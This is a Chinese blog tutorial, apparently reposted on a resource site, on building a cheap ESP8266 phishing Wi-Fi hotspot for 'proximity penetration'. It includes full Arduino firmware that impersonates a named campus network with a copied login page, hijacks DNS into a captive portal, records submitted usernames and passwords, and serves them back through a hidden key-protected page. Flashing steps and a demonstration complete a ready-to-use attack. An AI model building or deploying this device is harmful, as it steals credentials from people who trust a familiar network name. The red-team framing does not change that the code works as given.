本站vip特权 - 全站资源免费下载

限时特惠

近源渗透,超低成本打造自定义专属钓鱼WIFI

近源渗透-超低成本打造自定义专属钓鱼WIFI

前言

在企业安全设备越来越多,边境安全防护越做越好的情况下,钓鱼攻击已经逐渐成为了红蓝对抗演练的主要方法。而随着邮件服务器WAF等设备的更新以及企业人员安全意识的逐步提高,针对邮件钓鱼攻击也有了更多的防范措施。

而近源渗透与钓鱼攻击的组合拳能达到出其不意的效果,但行为有时也太过明显–手持MBP在目标附近转悠,且有被直接抓获的风险(活捉成就达成)。

于是笔者制作了一款钓鱼WIFI,特点是小型且不易被发现,信号范围广,其次是成本低,可将其安装在目标附近,等待收网即可。

制作准备

硬件

  • ESP8266(某宝10元左右)

7EC2A16A8AD855A9F734C6E3400B6965

  • 电源模块(可选)

71F9515060C7ADAD2B8EB648D6D809A2

软件

  • Arduino 1.8.13及以上

软件配置

  1. Arduino – 首选项 – 附加开发版管理网址,添加如下网址
http://arduino.esp8266.com/stable/package_esp8266com_index.json
https://raw.githubusercontent.com/SpacehuhnTech/arduino/main/package_spacehuhn_index.json

image-20210512194042373
2. Arduino – 工具 – 开发板 – 开发板管理器,输入”esp8266″,点击查找,选择”esp8266 by ESP8266 Community”安装,下载时建议使用代理。
image-20210512194638087
3. 下载ESP8266FS,将esp8266fs.jar放入Arduino根目录下的tools文件夹,以MacOS为例,格式为 /Applications/Arduino.app/Contents/Java/tools/ESP8266FS/tool/esp8266fs.jar

制作钓鱼网页

此处以某校园网认证系统为例。

  1. 下载网页
    image-20210512203455046
  2. 修改登录接口为pass,用户名密码为user, pass。
    image-20210512204003618

刷写ESP8266固件

  1. Arduino – 文件 – 新建,新建项目。
    image-20210512212756750
  2. Arduino – 工具,配置开发板信息如下,需要注意端口的配置。
    image-20210512212931096
  3. 此处笔者直接贴出代码,并对代码做了详细注解,希望读者们认真阅读,重点代码在于接受传来的数据并存储的过程,能够举一反三。
#include <ESP8266WiFi.h>
#include <DNSServer.h>
#include <ESP8266WebServer.h>
#include <WiFiClient.h>
#include <FS.h>

// DNS默认端口,无需修改
const byte DNS_PORT = 53;

// WIFI名称
const char *ssid = "HUBU-STUDENT-PRO";

// AP的IP地址(即网关地址)
IPAddress apIP(192, 168, 1, 1);

// 查看存储密码的密码
String ppassword = "t123061";

DNSServer dnsServer;
ESP8266WebServer webServer(80);

// 存储账号密码
String data = "";

// 认证页面
String responseHTML = "<html><head><meta http-equiv=\"refresh\" content=\"1;URL='http://192.168.1.1/index.html'\"></head></html>";

// 登录失败页面
String responseHTML_error = "<html><head><meta http-equiv=\"refresh\" content=\"5;URL='http://192.168.1.1/index.html'\"><h3>没有找到符合条件的策略,5秒后返回</h3></head></html>";


String getContentType(String filename){
  if(webServer.hasArg("download")) return "application/octet-stream";
  else if(filename.endsWith(".htm")) return "text/html";
  else if(filename.endsWith(".html")) return "text/html";
  else if(filename.endsWith(".css")) return "text/css";
  else if(filename.endsWith(".js")) return "application/javascript";
  else if(filename.endsWith(".png")) return "image/png";
  else if(filename.endsWith(".gif")) return "image/gif";
  else if(filename.endsWith(".jpg")) return "image/jpeg";
  else if(filename.endsWith(".ico")) return "image/x-icon";
  else if(filename.endsWith(".xml")) return "text/xml";
  else if(filename.endsWith(".pdf")) return "application/x-pdf";
  else if(filename.endsWith(".zip")) return "application/x-zip";
  else if(filename.endsWith(".gz")) return "application/x-gzip";
  return "text/plain";
}


// 查看存储的账号和密码
void paw(){
  if(webServer.arg("key")==ppassword){
    webServer.send(200, "text/plain", data);
  }else{
    webServer.send(200, "text/html", responseHTML);
  }
}

// 记录从钓鱼界面传过来的账号和密码
void pass(){
  if(webServer.arg("user") != "" && webServer.arg("pass") != ""){
    data += "username:";
    data += webServer.arg("user");
    data += "----password:";
    data += webServer.arg("pass");
    data += "\r\n";
    webServer.send(200, "text/html", responseHTML_error);
  }
}


void background() { 
  File file = SPIFFS.open("/background.jpg", "r");
  size_t sent = webServer.streamFile(file, "image/jpeg");
  file.close();
  return;
}
 void bootstrap() { 
  File file = SPIFFS.open("/bootstrap.css", "r");
  size_t sent = webServer.streamFile(file, "text/css");
  file.close();
  return;
}
 void logo_r() { 
  File file = SPIFFS.open("/logo.png", "r");
  size_t sent = webServer.streamFile(file, "image/png");
  file.close();
  return;
}
 void favicon() { 
  File file = SPIFFS.open("/favicon.ico", "r");
  size_t sent = webServer.streamFile(file, "image/x-icon");
  file.close();
  return;
}
 void main_r() { 
  File file = SPIFFS.open("/main.css", "r");
  size_t sent = webServer.streamFile(file, "text/css");
  file.close();
  return;
}
 void middle_r() { 
  File file = SPIFFS.open("/middle.png", "r");
  size_t sent = webServer.streamFile(file, "image/png");
  file.close();
  return;
}
 void uname_r() { 
  File file = SPIFFS.open("/uname.png", "r");
  size_t sent = webServer.streamFile(file, "image/png");
  file.close();
  return;
}
 void upwd_r() { 
  File file = SPIFFS.open("/upwd.png", "r");
  size_t sent = webServer.streamFile(file, "image/png");
  file.close();
  return;
}
void index_r(){
  File file = SPIFFS.open("/index.html", "r");
  size_t sent = webServer.streamFile(file, "text/html");
  file.close();
  return;
}

// 首页
void handleRoot() { 
  File file = SPIFFS.open("/index.html", "r");
  size_t sent = webServer.streamFile(file, "text/html");
  file.close();
  return;
}

void setup() {
  // WIFI配置
  Serial.begin(9600);
  SPIFFS.begin();
  WiFi.mode(WIFI_AP);
  WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));
  WiFi.softAP(ssid);

  // DNS配置
  dnsServer.start(DNS_PORT, "*", apIP);

  // 配置404网页为首页
  webServer.onNotFound([]() {
    webServer.send(200, "text/html", responseHTML);
  });

  // 配置查看密码网页
  webServer.on ("/key518", HTTP_GET, paw);
  webServer.on("/", handleRoot);

  // 配置登录接口
  webServer.on("/pass", HTTP_GET, pass);

 webServer.on("/background.jpg", background);
 webServer.on("/bootstrap.css", bootstrap);
 webServer.on("/logo.png", logo_r);
 webServer.on("favicon.ico", favicon);
 webServer.on("/main.css", main_r);
 webServer.on("/middle.png", middle_r);
 webServer.on("/uname.png", uname_r);
 webServer.on("/upwd.png", upwd_r);

  webServer.on("/index.html", index_r);
  webServer.begin();
}

void loop() {
  dnsServer.processNextRequest();
  webServer.handleClient();
}
  1. 保存项目,会自动生成一个文件夹存储代码文件,根据步骤3配置好开发板与端口后,点击编译上传,等待上传成功。
    image-20210512213804869
  2. 在项目目录下新建data目录,将前端文件放入,然后使用ESP8266FS工具上传
    image-20210512214310474
    image-20210512214413222
  3. 到此制作已经全部完成

成品演示

  1. 连接WiFi

image-20210512215139278

  1. 连接WiFi后自动弹出认证界面,输入用户密码test/test

image-20210512215310627

  1. 点击登录后跳转到预置的登录失败界面

image-20210512215416720

  1. 访问预置网址 http://192.168.1.1/key514?pass=123061,收网
    image-20210512215845955

示例代码

https://github.com/piaolin/ProximalPhishing(仅供学习参考使用)

后记

  • 文章中以某校园网认证系统为例,在实际测试中,只需要下载目标认证界面修改,或自行编写界面,即可达到超低成本钓鱼效果。
  • 经过笔者不严谨的测试,空地WiFi范围可达200m左右。
  • 同时读者们可举一反三,对钓鱼方法及代码进行更加针对性的改动,此处不做过多赘述。
  • 账号密码存储可写入存储而非内存(断电清空),由于笔者最近其他事情缠身,更新时间待定。

授人以鱼,不如授人以渔。

终端安全

UMAS协议获取PLC工程文件的安全性探讨

2021-5-24 11:15:01

终端安全

中科三方:十分钟了解IPv6升级改造安全优势

2021-5-24 20:13:44

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索